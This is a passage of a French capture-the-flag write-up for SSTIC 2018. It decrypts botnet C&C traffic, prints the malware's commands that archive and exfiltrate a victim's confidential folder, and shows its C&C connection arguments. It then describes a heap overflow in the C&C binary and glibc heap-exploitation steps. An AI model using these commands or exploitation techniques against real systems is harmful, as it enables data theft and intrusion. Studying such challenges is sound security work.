00001950: 7472 7563 7475 7265 2d43 6f6e 6669 6775 tructure-Configu
64 00001960: 7261 7469 6f6e 5f47 7569 6465 2e70 6466 ration_Guide.pdf
00001970: 0a00 0000 0000 0000 0000 0000 0000 0000 .....
66 00001980: 4141 4141 dec0 d3d1 6261 6261 7230 3037 AAAA....babar007
00001990: 25f7 dd80 9f8f e428 0000 0000 0000 0000 %.....(.....
68 000019a0: 0102 0003 6900 0000 2f68 6f6d 652f 7573 ....i.../home/us
000019b0: 6572 2f63 6f6e 6669 6465 6e74 6965 6c2f er/confidentiel/
70 000019c0: 4869 7665 2f68 6976 652d 496e 6672 6173 Hive/hive-Infras
72 .....

```

- Attaquant vers victime

1	00000000: 4141 4141 dec0 d3d1 6261 6261 7230 3037	AAAA....babar007
2	00000010: d4e2 ce91 2b9f 8edf 25f7 dd80 9f8f e428	%.....(.....
3	00000020: 0000 0101 5802 0000 0000 0000 0000 0000	....X.....

5	00000030: 0200 8f7f c39a 690c 0000 0000 0000 0000 0000 .....	i .....
	00000040: 4a53 b8c6 99b3 7914 23cb c5d7 4976 e8c7 JS ....y.#...Iv..	
7	00000050: 89c2 c18f a275 f007 721f 15c5 6271 ea13 ..u..r...bq..	
	00000060: 99e1 7b33 2bb7 3188 d06a e5c2 106e ffd6 ..{3+.1..j...n..	
9	00000070: e025 9690 b256 4abb fbdd d44a c004 1a14 %.VJ....J....	
	00000080: 339b ba11 76e7 4f08 8fb9 1982 8374 9217 3...v.O.....t..	
11	00000090: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
	000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
13	000000b0: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
	000000c0: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
15	000000d0: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
	000000e0: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
17	000000f0: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
	00000100: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
19	00000110: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
	00000120: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
21	00000130: e380 1804 a562 eda5 e9aa 6b0a 8ded 5ea8 .....b....k...^.	
	00000140: 21dd 4d5d 84bf a0f8 6d15 cbf2 e0f8 955a !.M]....m.....Z	
23	00000150: 9f3c 0c75 1b83 ac8d 7696 677f 966e f225 .<.u....v.g..n.%	
	00000160: a0ac 93f8 bb2f 3f75 cdb9 580a 5bd7 aa2f ..../?u..X.[.../	
25	00000170: b595 9d5c 0eba a229 c303 fa23 98d4 500c ...\\...) ...#..P.	
	00000180: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
27	00000190: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
	000001a0: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
29	000001b0: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
	000001c0: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
31	000001d0: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
	000001e0: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
33	000001f0: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
	00000200: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
35	00000210: 0000 0000 0000 0000 0000 0000 0000 0000 .....	
	00000220: 11ba 9b33 084f e776 8219 b98f 1792 7483 ...3.O.v.....t.	
37	00000230: 0418 80e3 a5ed 62a5 0a6b aae9 a85e ed8d .....b..k...^..	
	00000240: 0000 0000 0000 0000 0000 0000 0000 0002 .....	
39	00000250: 0300 0000 0000 0000 0000 0000 0000 0000 .....	
	00000260: 4141 4141 deco d3d1 6261 6261 7230 3037 AAAA....babar007	
41	00000270: 0000 0000 0000 25f7 dd80 9f8f e428 .....%.....(	
	00000280: 0102 0000 3500 0000 6c73 202d 6c61 202f .....5...ls -la /	
43	00000290: 686f 6d65 0000 0000 0000 0000 0000 0000 home.....	
	000002a0: 4141 4141 deco d3d1 6261 6261 7230 3037 AAAA....babar007	
45	000002b0: 0000 0000 0000 25f7 dd80 9f8f e428 .....%.....(	
	000002c0: 0102 0000 3a00 0000 6c73 202d 6c61 202f .....:..ls -la /	
47	000002d0: 686f 6d65 2f75 7365 7200 0000 0000 0000 home/user .....	
	000002e0: 4141 4141 deco d3d1 6261 6261 7230 3037 AAAA....babar007	
49	....	
51	00000330: 4141 4141 deco d3d1 6261 6261 7230 3037 AAAA....babar007	
	00000340: 0000 0000 0000 25f7 dd80 9f8f e428 .....%.....(	
53	00000350: 0102 0000 5f00 0000 7461 7220 6376 667a ....._tar cvfz	
	00000360: 202f 746d 702f 636f 6e66 6964 656e 7469 /tmp/confidenti	
55	00000370: 656c 2e74 677a 202f 686f 6d65 2f75 7365 el.tgz /home/use	
	00000380: 722f 636f 6e66 6964 656e 7469 656c 0000 r/confidentiel..	
57	00000390: 4141 4141 deco d3d1 6261 6261 7230 3037 AAAA....babar007	
	000003a0: 0000 0000 0000 25f7 dd80 9f8f e428 .....%.....(	
59	000003b0: 0402 0000 3e00 0000 2f74 6d70 2f63 6f6e .....>.../tmp/con	
	000003c0: 6669 6465 6e74 6965 6c2e 7467 7a00 0000 fidential.tgz...	
61	000003d0: 4141 4141 deco d3d1 6261 6261 7230 3037 AAAA....babar007	
	000003e0: 0000 0000 0000 25f7 dd80 9f8f e428 .....%.....(	
63	000003f0: 0202 0000 3a00 0000 2f74 6d70 2f73 7572 .....:/tmp/sur	
	00000400: 7072 6973 652e 7467 7a00 0000 0000 0000 prise.tgz .....	
65	00000410: 4141 4141 deco d3d1 6261 6261 7230 3037 AAAA....babar007	
	00000420: 0000 0000 0000 25f7 dd80 9f8f e428 .....%.....(	
67	00000430: 0202 0003 c03f 0000 1f8b 0800 0a00 bd5a .....?.....Z	

On voit bien les échanges entre machines. Reste maintenant à écrire un parser qui va nous permettre de récupérer les fichiers tar.gz que l'on aperçoit dans le dialogue.

```

1 import struct
import binascii
3 ##### # Parse server clear payload

```

```

5 ##### with open("clearpayloadserver","rb") as bb:
6     num=0;
7     while True:
8         print("##### "+ str(num) + " #####")
9         print(hex(struct.unpack(">Q",bb.read(8))[0]))
10        print(hex(struct.unpack(">Q",bb.read(8))[0]))
11        print(hex(struct.unpack(">Q",bb.read(8))[0]))
12        print(hex(struct.unpack(">Q",bb.read(8))[0]))
13        cmd = struct.unpack("<I",bb.read(4))[0]
14        size = struct.unpack("<I",bb.read(4))[0]
15        already_read = 40
16
17        print ("Size :" +str(hex(size)))
18        print ("cmd :" + str(hex(cmd)))
19        padding = (16-(size%16))%16
20        payload = bb.read(size+padding - already_read)
21        print("payload" + str(binascii.hexlify(payload[:32])))
22
23        print(len(payload))
24        print(str(padding))
25        if cmd == 0x201:
26            print(payload)
27        num+=1
28        if cmd == 0x204:
29            print(payload)
30
31
32        if cmd == 0x202:
33            print(payload)
34        if cmd == 0x3000202:
35            with open("%04x%num+chunk_tar.gz","wb") as tar_file:
36                tar_file.write(payload)
37

```

On obtient un fichier par chunk, un **cat \*chunk\_tar.gz > surprise.tgz** recrée le fichier copié de l'attaquant vers la victime.

```

1 tar ztvf surprise.tgz
2
3 drwxr-xr-x root/root      0 2018-03-29 11:50 surprise/
4 -rw-r--r-- root/root 46274 2015-11-13 01:35 surprise/lobster-dog-halloween-costume-by-casual-canine
5           -21595.jpg
6 -rw-r--r-- root/root 22364 2018-03-12 15:40 surprise/sameera_ict4dTruth_lobsterDog.jpg
7 -rw-r--r-- root/root 48016 2014-05-07 00:41 surprise/lobster-dog-halloween-costume-by-casual-canine
8           -2585.jpg
9 -rw-r--r-- root/root 43555 2009-10-28 19:18 surprise/lobster-dog-costume.jpg
10       -rw-r--r-- root/root 30627 2010-08-13 18:22 surprise/il_430xN.12984602.jpg
11       -rw-r--r-- root/root 77370 2014-05-07 00:41 surprise/lobster-dog-halloween-costume-by-casual-canine
12           -6967.jpg
13 -rw-r--r-- root/root 61493 2017-10-04 05:32 surprise/lobster-dog-halloween-costume-casual-canine-1.
14           jpg
15 -rw-r--r-- root/root 453609 2018-02-03 01:13 surprise/2017-hp-rook.jpg
16 -rw-r--r-- root/root 28733 2018-03-12 15:40 surprise/baby-lobster.jpg
17 -rw-r--r-- root/root 148072 2008-09-14 21:20 surprise/2857206742_657cafa164.jpg
18 -rw-r--r-- root/root 36607 2014-05-07 00:41 surprise/lobster-dog-halloween-costume-by-casual-canine
19           -3783.jpg
20 -rw-r--r-- root/root 87865 2014-05-07 00:41 surprise/lobster-dog-halloween-costume-by-casual-canine
21           -3889.jpg
22 -rw-r--r-- root/root 35997 2016-10-11 17:23 surprise/dog_lobster5.jpg
23 -rw-r--r-- root/root 47104 2014-05-07 00:41 surprise/lobster-dog-halloween-costume-by-casual-canine
24           -5749.jpg
25 -rw-r--r-- root/root 155904 2007-10-29 03:40 surprise/1795984675_d58e8c05f0.jpg
26 -rw-r--r-- root/root 75121 2017-06-22 02:00 surprise/tumblr_ks3nn5rrZu1qz8fgvo1_500.jpg
27 -rw-r--r-- root/root 103453 2016-04-20 21:33 surprise/12UscfY.jpg
28 -rw-r--r-- root/root 75274 2015-09-21 17:04 surprise/lobster-dog-halloween-costume-by-casual-canine
29           -20967.jpg
30 -rw-r--r-- root/root 36191 2016-10-11 17:23 surprise/dog_lobster.jpg
31 -rw-r--r-- root/root 40388 2014-05-07 00:41 surprise/lobster-dog-halloween-costume-by-casual-canine
32           -4979.jpg
33 -rw-r--r-- root/root 34341 2007-11-01 03:17 surprise/Lobster Dog 1.jpg

```

```

-rw-r--r-- root/root      35949 2014-05-07 00:41 surprise/lobster-dog-halloween-costume-by-casual-canine
    -3733.jpg
27 -rw-r--r-- root/root      126114 2008-09-14 21:19 surprise/2857202520_62ba26da94.jpg
-rw-r--r-- root/root      308131 2013-11-17 01:39 surprise/photo-4-111.jpg
29 -rw-r--r-- root/root     3026309 2013-11-16 02:15 surprise/dsc05455.jpg
-rw-r--r-- root/root      81942 2011-07-01 21:30 surprise/my-lobster-dog-koda-san-24027-1277931298-48.jpg
31 -rw-r--r-- root/root     231214 2014-11-23 08:19 surprise/wallpapers-pho3nix-albums-wallpaper.jpg

```

Même manipulation coté victime :

```

1 import struct
2 import binascii
3 #####
4 # parse the binary file now
5 #####
6 with open("clearpayloadclient","rb") as bb:
7     num=0;
8     while True:
9         print("##### "+ str(num) + " #####")
10        print(hex(struct.unpack(">Q",bb.read(8))[0]))
11        print(hex(struct.unpack(">Q",bb.read(8))[0]))
12        print(hex(struct.unpack(">Q",bb.read(8))[0]))
13        print(hex(struct.unpack(">Q",bb.read(8))[0]))
14        cmd = struct.unpack("<I",bb.read(4))[0]
15        size = struct.unpack("<I",bb.read(4))[0]
16        already_read = 40
17
18        print ("Size :" +str(hex(size)))
19        print ("cmd :" + str(hex(cmd)))
20        padding = (16-(size%16))%16
21        payload = bb.read(size+padding - already_read)
22        print("payload" + str(binascii.hexlify(payload[:32])))
23
24        print(len(payload))
25        print(str(padding))
26        if cmd == 0x3000201:
27            print(payload)
28        if cmd == 0x5000201:
29            print(payload)
30
31        num+=1
32
33        if cmd == 0x204:
34            pass
35
36
37        if cmd == 0x202:
38            pass
39        if cmd == 0x3000204 or cmd == 0x5000204 :
40            with open("%04x"%num+"chunk_tar.gz","wb") as tar_file:
41                tar_file.write(payload)

```

On obtient un fichier par chunk, un **cat \*chunk\_tar.gz > confidentiel.tgz** recrée le fichier récupéré depuis l'attaquant sur le poste de la victime.

```

1 tar ztvf confidentiel.tgz
2
3 drwxrwxr-x user/user          0 2018-03-29 16:50 home/user/confidentiel/
4 -rw-rw-r-- user/user          44 2018-03-28 18:38 home/user/confidentiel/super_secret
5 drwx----- user/user          0 2018-03-05 18:53 home/user/confidentiel/Couch_Potato/
6 -rw-r--r-- user/user       640628 2018-03-05 18:53 home/user/confidentiel/Couch_Potato/Couch_Potato-1_0-
7           User_Guide.pdf
8 drwx----- user/user          0 2018-03-05 18:53 home/user/confidentiel/Bothan_Spy/
9 -rw-r--r-- user/user       651264 2018-03-05 18:53 home/user/confidentiel/Bothan_Spy/Gyrfalcon-1_0-
10          User_Manual.pdf
11 -rw-r--r-- user/user       686170 2018-03-05 18:53 home/user/confidentiel/Bothan_Spy/Gyrfalcon-2_0-
12          User_Guide.pdf
13 -rw-r--r-- user/user       649061 2018-03-05 18:53 home/user/confidentiel/Bothan_Spy/BothanSpy_1_0-S-NF.pdf

```

```

11 drwx----- user/user 0 2018-03-05 18:53 home/user/confidentiel/Imperial/
11 -rw-r--r-- user/user 106055 2018-03-05 18:53 home/user/confidentiel/Imperial/SeaPea-User_Guide.pdf
13 -rw-r--r-- user/user 39345 2018-03-05 18:53 home/user/confidentiel/Imperial/Achilles-UserGuide.pdf
13 -rw-r--r-- user/user 194042 2018-03-05 18:53 home/user/confidentiel/Imperial/Aeris-UsersGuide.pdf
15 drwx----- user/user 0 2018-03-05 18:53 home/user/confidentiel/Athena/
15 -rw-r--r-- user/user 47369 2018-03-05 18:53 home/user/confidentiel/Athena/ATHENA-DEMO.pdf
17 -rw-r--r-- user/user 11317 2018-03-05 18:53 home/user/confidentiel/Athena/Design_Engine.pdf
17 -rw-r--r-- user/user 94778 2018-03-05 18:53 home/user/confidentiel/Athena/AthenaTechnologyOverview.pdf
19 -rw-r--r-- user/user 554010 2018-03-05 18:53 home/user/confidentiel/Athena/Athena-v1_0-UserGuide.pdf
19 -rw-r--r-- user/user 373576 2018-03-05 18:53 home/user/confidentiel/Athena/AthenaDesign.pdf
21 drwx----- user/user 0 2018-03-05 18:53 home/user/confidentiel/High_Rise/
21 -rw-r--r-- user/user 1283295 2018-03-05 18:53 home/user/confidentiel/High_Rise/HighRise-2_0-Users_Guide.pdf
23 drwx----- user/user 0 2018-03-05 18:53 home/user/confidentiel/Weeping_Angel/
23 -rw-r--r-- user/user 1212272 2018-03-05 18:53 home/user/confidentiel/Weeping_Angel/EXTENDING_User_Guide.pdf
25 drwx----- user/user 0 2018-03-05 18:53 home/user/confidentiel/Protego/
25 -rw-r--r-- user/user 287064 2018-03-05 18:53 home/user/confidentiel/Protego/Protego_Release_01_05-Protego_Build_Procedure.pdf
27 -rw-r--r-- user/user 60910 2018-03-05 18:53 home/user/confidentiel/Protego/Protego_Release_01_05-Design_Docs-20141009-System_HW_Description.pdf
27 -rw-r--r-- user/user 50964 2018-03-05 18:53 home/user/confidentiel/Protego/Protego_Release_01_05-Protego-SW-SCRs-Release-01_05.pdf
29 -rw-r--r-- user/user 134048 2018-03-05 18:53 home/user/confidentiel/Protego/Protego_Release-01_05-Design_Docs-20150809-Protego_Message_Format.pdf
drwx----- user/user 0 2018-03-05 18:53 home/user/confidentiel/Angel_Fire/
31 -rw-r--r-- user/user 28437 2018-03-05 18:53 home/user/confidentiel/Angel_Fire/Wolfcreek-Docs-Notes.pdf
-rw-r--r-- user/user 720468 2018-03-05 18:53 home/user/confidentiel/Angel_Fire/Wolfcreek-Docs-Angelfire_UserGuide.pdf

```

J'obtiens le 3ème flag dans le fichier **super\_secret** de l'archive **confidential.tgz**

**SSTIC2018{07aa9feed84a9be785c6edb95688c45a}** : 02 mai 2018 à 16h21

## 6 Nation-state Level Botnet *of the death*

### 6.1 @ du serveur

Après une courte pause je reprend pour essayer de trouver l'ip du serveur qu'on est censé attaquer au final. Le premier paquet reçu par la victime n'avait pas encore été regardé :

```

1 00000000: 4141 4141 dec0 d3d1 6261 6261 7230 3037 AAAA....babar007
00000010: d4e2 ce91 2b9f 8edf 25f7 dd80 9f8f e428 ....+....%
3 00000020: 0000 0101 5802 0000 0000 0000 0000 0000 ....X.....
00000030: 0200 8f7f c39a 690c 0000 0000 0000 0000 .....i.....
5 00000040: 4a53 b8c6 99b3 7914 23cb c5d7 4976 e8c7 JS....y.#...Iv..
00000050: 89c2 c18f a275 f007 721f 15c5 6271 ea13 ....u..r...bq..
7 00000060: 99e1 7b33 2bb7 3188 d06a e5c2 106e ffd6 ..{3+.1.j...n..
00000070: e025 9690 b256 4abb fbdd d44a c004 1a14 %.VJ....J....
9 00000080: 339b ba11 76e7 4f08 8fb9 1982 8374 9217 3...v.O.....t..
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 .....O.....
11 000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 .....P.....
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000 .....N.....
13 000000c0: 0000 0000 0000 0000 0000 0000 0000 0000 .....M.....
000000d0: 0000 0000 0000 0000 0000 0000 0000 0000 .....L.....
15 000000e0: 0000 0000 0000 0000 0000 0000 0000 0000 .....K.....
000000f0: 0000 0000 0000 0000 0000 0000 0000 0000 .....J.....
17 00000100: 0000 0000 0000 0000 0000 0000 0000 0000 .....I.....
00000110: 0000 0000 0000 0000 0000 0000 0000 0000 .....H.....
19 00000120: 0000 0000 0000 0000 0000 0000 0000 0000 .....G.....
00000130: e380 1804 a562 eda5 e9aa 6b0a 8ded 5ea8 ....b....k...^.
21 00000140: 21dd 4d5d 84bf a0f8 6d15 cbf2 e0f8 955a !.M]....m.....Z
00000150: 9f3c 0c75 1b83 ac8d 7696 677f 966e f225 .<.u....v.g..n.%.
23 00000160: a0ac 93f8 bb2f 3f75 cdb9 580a 5bd7 aa2f ...../?u..X.[../
00000170: b595 9d5c 0eba a229 c303 fa23 98d4 500c ...\\...) ...#..P.
25 00000180: 0000 0000 0000 0000 0000 0000 0000 0000 .....P.....
00000190: 0000 0000 0000 0000 0000 0000 0000 0000 .....N.....
27 000001a0: 0000 0000 0000 0000 0000 0000 0000 0000 .....M.....

```

```

29 000001b0: 0000 0000 0000 0000 0000 0000 0000 0000 ..... .
000001c0: 0000 0000 0000 0000 0000 0000 0000 0000 ..... .
000001d0: 0000 0000 0000 0000 0000 0000 0000 0000 ..... .
31 000001e0: 0000 0000 0000 0000 0000 0000 0000 0000 ..... .
000001f0: 0000 0000 0000 0000 0000 0000 0000 0000 ..... .
33 00000200: 0000 0000 0000 0000 0000 0000 0000 0000 ..... .
00000210: 0000 0000 0000 0000 0000 0000 0000 0000 ..... .
35 00000220: 11ba 9b33 084f e776 8219 b98f 1792 7483 ...3.O.v.....t.
00000230: 0418 80e3 a5ed 62a5 0a6b aae9 a85e ed8d .....b..k...^..
37 00000240: 0000 0000 0000 0000 0000 0000 0000 0002 ..... .
00000250: 0300 0000 0000 0000 0000 0000 0000 0000 ..... .
39 00000260: 0a ..... .

```

Ce n'est pas un paquet que j'ai pu observer entre un noeud et un C&C, donc c'est certainement à regarder côté sous-noeud. Là, en effet, je reçois bien ce type de paquet. C'est certainement dans ce paquet que le sous-noeud reçoit les éléments pour se reconnecter ailleurs si sa passerelle tombe. Dans mon propre sous-noeud je vois le port de mon propre C&C, c'est bien ça.




Figure 7: Table de routage

J'essaye de patcher le paquet reçu par mon sous-noeud par le paquet du challenge, si je coupe ma passerelle le sous noeud devrait utiliser cette table là. Ca ne fonctionne pas, je ne copie pas au bon endroit. Je me suis fait un petit script python qui me transforme le premier paquet en commande gdb.

Finalement ça marche. C'était bien l'idée. Le (`args = ["/tmp/.f4ncyn0un0urs", "-h", "192.168.23.213", "-p", "31337"]`) du `stage1.js` se connecte donc à une passerelle.

```

import struct
2 import sys
def generate_route_pck(reg ,value):
4     try :
            index=0
6         with open("firstpack","rb") as route_packet:
                while True:
                    #patch with id
                    if index == 24:
                        route_packet.read(8)
                        print("set {long}("+reg+"+24)+"= "+value+"")
10                   else:
                        print("set {long}("+reg+"+"+str(index)+")= "+value+"")
12                   route_packet.read(8)[0])
                           index+=8
14

```

```

16     except:
17         pass
18
19 if __name__ == "__main__":
20     generate_route_pck(sys.argv[1], sys.argv[2])

```

```

1 **** **** **** **** **** **** **** **** ****
2 set {long}({$rdi+0})=0xd1d3c0de41414141
3 set {long}({$rdi+8})=0x3730307261626162
4 set {long}({$rdi+16})=0xdf8e9f2b91cee2d4
5 set {long}({$rdi+24})=0x78bc3ee92058ba58
6 set {long}({$rdi+32})=0x0000025801010000
7 set {long}({$rdi+40})=0x0000000000000000
8 set {long}({$rdi+48})=0x0c699ac37f8f0002
9 set {long}({$rdi+56})=0x0000000000000000
10 set {long}({$rdi+64})=0x1479b399c6b8534a
11 set {long}({$rdi+72})=0xc7e87649d7c5cb23
12 set {long}({$rdi+80})=0x07f075a28fc1c289
13 set {long}({$rdi+88})=0x13ea7162c5151f72
14 set {long}({$rdi+96})=0x8831b72b337be199
15 set {long}({$rdi+104})=0xd6ff6e10c2e56ad0
16 set {long}({$rdi+112})=0xbb4a56b2909625e0
17 set {long}({$rdi+120})=0x141a04c04ad4ddfb
18 set {long}({$rdi+128})=0x084fe77611ba9b33
19 set {long}({$rdi+136})=0x179274838219b98f
20 set {long}({$rdi+144})=0x0000000000000000
21 set {long}({$rdi+152})=0x0000000000000000
22 set {long}({$rdi+160})=0x0000000000000000
23 set {long}({$rdi+168})=0x0000000000000000
24 set {long}({$rdi+176})=0x0000000000000000
25 set {long}({$rdi+184})=0x0000000000000000
26 set {long}({$rdi+192})=0x0000000000000000
27 set {long}({$rdi+200})=0x0000000000000000
28 set {long}({$rdi+208})=0x0000000000000000
29 set {long}({$rdi+216})=0x0000000000000000
30 set {long}({$rdi+224})=0x0000000000000000
31 set {long}({$rdi+232})=0x0000000000000000
32 set {long}({$rdi+240})=0x0000000000000000
33 set {long}({$rdi+248})=0x0000000000000000
34 set {long}({$rdi+256})=0x0000000000000000
35 set {long}({$rdi+264})=0x0000000000000000
36 set {long}({$rdi+272})=0x0000000000000000
37 set {long}({$rdi+280})=0x0000000000000000
38 set {long}({$rdi+288})=0x0000000000000000
39 set {long}({$rdi+296})=0x0000000000000000
40 set {long}({$rdi+304})=0xa5ed62a5041880e3
41 set {long}({$rdi+312})=0xa85eed8d0a6baae9
42 set {long}({$rdi+320})=0xf8a0bf845d4ddd21
43 set {long}({$rdi+328})=0x5a95f8e0f2cb156d
44 set {long}({$rdi+336})=0x8dac831b750c3c9f
45 set {long}({$rdi+344})=0x25f26e967f679676
46 set {long}({$rdi+352})=0x753f2fbff893aca0
47 set {long}({$rdi+360})=0x2faad75b0a58b9cd
48 set {long}({$rdi+368})=0x29a2ba0e5c9d95b5
49 set {long}({$rdi+376})=0x0c50d49823fa03c3
50 set {long}({$rdi+384})=0x0000000000000000
51 set {long}({$rdi+392})=0x0000000000000000
52 set {long}({$rdi+400})=0x0000000000000000
53 set {long}({$rdi+408})=0x0000000000000000
54 set {long}({$rdi+416})=0x0000000000000000
55 set {long}({$rdi+424})=0x0000000000000000
56 set {long}({$rdi+432})=0x0000000000000000
57 set {long}({$rdi+440})=0x0000000000000000
58 set {long}({$rdi+448})=0x0000000000000000
59 set {long}({$rdi+456})=0x0000000000000000
60 set {long}({$rdi+464})=0x0000000000000000
61 set {long}({$rdi+472})=0x0000000000000000
62 set {long}({$rdi+480})=0x0000000000000000
63 set {long}({$rdi+488})=0x0000000000000000
64 set {long}({$rdi+496})=0x0000000000000000
65 set {long}({$rdi+504})=0x0000000000000000

```

```

67 set {long}($rdi+512)=0x0000000000000000
set {long}($rdi+520)=0x0000000000000000
69 set {long}($rdi+528)=0x0000000000000000
set {long}($rdi+536)=0x0000000000000000
71 set {long}($rdi+544)=0x76e74f08339bba11
set {long}($rdi+552)=0x837492178fb91982
73 set {long}($rdi+560)=0xa562eda5e3801804
set {long}($rdi+568)=0x8ded5ea8e9aa6b0a
75 set {long}($rdi+576)=0x0000000000000000
set {long}($rdi+584)=0x0200000000000000
77 set {long}($rdi+592)=0x0000000000000003
set {long}($rdi+600)=0x0000000000000000

```

Je break dans mon binaire du sous-noeud sur "breakpoint keep y 0x0000000000403b5d <scomm\_recv+365>", juste avant que le binaire parse le paquet de la table de routage. Je coupe mon gateway, et mon sous-noeud se reconnecte sur le serveur du SSTIC, à l'adresse 195.154.105.12:36735. Adresse que l'on peut retrouver facilement dans le paquet en clair.

## 6.2 Vulnérabilité

Je teste l'ajout de noeuds et obtiens quelques "Incorrect RSASSA padding start".

```

1 # 50 nodes: Quelques "Incorrect RSASSA padding start"
for i in {1..50};do sleep 1;./sstic.bin -h localhost -p 31337 -l 3200$i& done

```

Ok je note ça. Dans le binaire en effet, on voit le test des 2 premiers octets du padding. Sans aucun doute une piste, mais je n'ai pas trop su quoi en faire.

```

2 0x402ec9 <rsa2048_decrypt+89>: cmp    BYTE PTR [rbp+0x0],0x0 // ici
0x402ecd <rsa2048_decrypt+93>: pop    rax
0x402ece <rsa2048_decrypt+94>: pop    rdx
4 0x402ecf <rsa2048_decrypt+95>: jne    0x402ed7 <rsa2048_decrypt+103>
0x402ed1 <rsa2048_decrypt+97>: cmp    BYTE PTR [rbp+0x1],0x2 //ici
6 0x402ed5 <rsa2048_decrypt+101>: je     0x402f00 <rsa2048_decrypt+144>
0x402ed7 <rsa2048_decrypt+103>: lea    rdi,[rip+0xa5f02]      # 0x4a8de0
8 0x402ede <rsa2048_decrypt+110>: call   0x41c5c0 <puts>

```

Je teste l'ajout de sous-noeuds à un de mes noeuds.

```

for i in {1..50};do sleep 1;./sstic.bin -h localhost -p 32001 -l 3201$i& done

```

Et la j'obtiens un truc plus flagrant :

```

realloc(): invalid next size          ← Realloc error
Program received signal SIGSYS, Bad system call.
[ Legend: Modified register | Code | Heap | Stack | String ] [ registers ]
$rax : 0x000000000000000e
$rbx : 0x00007fffffff010 → 0x0000000000000000
$rcx : 0x000000000046278d → 0x0b77fffff0003d48 ("H=?")
$rdx : 0x0000000000000000
$rsp : 0x00007fffffff9eb8 → 0x000000000004195f8 → <abort+184> mov eax, DWORD PTR [rip+0x2c02e2]
$rbp : 0x00007fffffff0110 → 0x00000000006e8490 → 0xa0bb3157689e3f94
$rsi : 0x00007fffffff9ec0 → 0x0000000000000020
$rdi : 0x0000000000000001
$rip : 0x000000000046278d → 0x0b77fffff0003d48 ("H=?")
$r8 : 0x0000000000000000
$r9 : 0x0000000000000000
$r10 : 0x0000000000000008
$r11 : 0x000000000000000202
$r12 : 0x00007fffffff010 → 0x0000000000000000
$r13 : 0x0000000000001000
$r14 : 0x0000000000000000
$r15 : 0x0000000000000030
$eflags: [carry parity adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $gs: 0x0000 $es: 0x0000 $fs: 0x0000 $ds: 0x0000 [ code:i386:x86-64 ]
[ threads ]
[#0] Id 1, Name: "sstic.bin", stopped, reason: SIGSYS [ trace ]
[#0] 0x46278d → Name: sigprocmask()
[#1] 0x4195f8 → Name: abort()
[#2] 0x41e8a7 → Name: __libc_message()
[#3] 0x4241aa → Name: malloc_printerr()
[#4] 0x4281e4 → Name: _int_realloc()
[#5] 0x429012 → Name: realloc()
[#6] 0x40183b → Name: add_to_route()
[#7] 0x4015a3 → Name: mesh_process_agent_peering()
[#8] 0x401cbe → Name: mesh_process_message()
[#9] 0x4011aa → Name: agent_main_loop()

0x000000000046278d in sigprocmask ()
gef>

```

Add sub-node

Figure 8: Problème dans le tas

Le 12ème sous-noeud déborde dans le tas et écrase par son **node-id** la structure du chunk suivant. C'est ici que le périple commence pour moi. Que faire avec ça ?

J'obtiens pas mal de réponse ici :

- [https://heap-exploitation.dhavalkapil.com/diving\\_into\\_glibc\\_heap/](https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/)
- <https://dangokyo.me/2018/01/01/advanced-heap-exploitation-unsorted-bin-attack-overlapping-chunk/>
- <https://jipanyang.wordpress.com/2014/06/09/glibc-malloc-internal-arena-bin-chunk-and-sub-heap-1/>

### 6.3 Exploitation

Après avoir pas mal expérimenté et testé l'ajout de noeud et de sous-noeud, je comprends que :

- le c&c stocke une table de routage.
- la zone allouée aux sous-noeuds par noeud est réallouée au fur et à mesure.
  - Départ : chunk 0x41

- Plus de 7 sous-noeuds : chunk 0x61
  - Plus de 12 sous-noeuds : chunk 0x91 (le 12ème déborde du 0x61, le 13ème réalloue)
  - etc
- que les chunks désalloués sont restitués en mode **LIFO** par les mallocs, sauf les zones allouées par un realloc (ça va m'embêter pas mal ça), qui ne sont pas mis dans une liste d'éléments libérés.
  - que le chunk (0x241) alloué pour la zone noeud contient quelques données crypto et la clef AES du noeud.
  - les chunks libérés se retrouvent dans une "heap arena" dédiée, selon leur taille.
  - qu'en patchant la taille du chunk et en libérant la donnée concernée, je peux choisir la "heap arena" dans laquelle se retrouve ces nouvelles zones libres (ex : si je remplace un chunk de 0x41 en 0x241 et que je libère cette ressource, elle se retrouve dans l'arena des chunks de 0x241. Un prochain malloc de cette zone me donne une zone overlappant la suite).
  - que je peux patcher le champ "next" d'un chunk désalloué par l'adresse que je souhaite, et que 2 mallocs suivants me donnent une zone mémoire sur l'adresse que j'ai choisie.
  - que si je ne suis pas tout seul sur le serveur, je vais avoir du mal à aligner mon tas comme je le souhaite.

```

gef> x /16gx 0x000000000006dfd20
0x6dfd20: 0x960d6173d9c9c2f 0x0000000000000000
0x6dfd30: 0x0000000000000000 0xf70ed3ea6cc46f33
0x6dfd40: 0xb21726ba026b3341 0x2ae5659e6ec0c033
0x6dfd50: 0xb8ad596ec3387b5b 0x4425a5adb12807f
0x6dfd60: 0x7b952235e9dd1ec5 0xf3725d2d79dd233
0x6dfd70: 0x92483cf0adff8bb68 0xa3844ffcc60dce7
0x6dfd80: 0xaa4e295dcad46fc8 0x0000000000000000
0x6dfd90: 0x0000000000000000 0x0000000000000000
gef> x /16gx 0x6de490-8
0x6de488: 0x00000000000000a1 0x0000000600000001
0x6de498: 0x00000000006de390 0x0000000000000000
0x6de4a8: 0xa1d9e4d5b68a623d 0x0b7e2d0308471581
0x6de4b8: 0x34dc58ff145ca89c 0xe6c08ef9ba1f5e85
